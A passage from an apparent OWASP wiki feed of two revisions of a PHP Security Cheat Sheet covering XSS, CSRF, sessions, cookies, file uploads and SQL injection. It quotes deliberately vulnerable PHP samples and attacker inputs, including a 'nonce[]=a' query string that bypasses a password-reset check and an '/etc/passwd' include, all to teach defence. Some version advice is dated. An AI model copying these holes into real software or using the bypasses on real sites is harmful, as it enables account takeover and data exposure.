Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184327</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184327"/>
				<updated>2014-10-30T08:18:59Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Access Control Cheat Sheet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
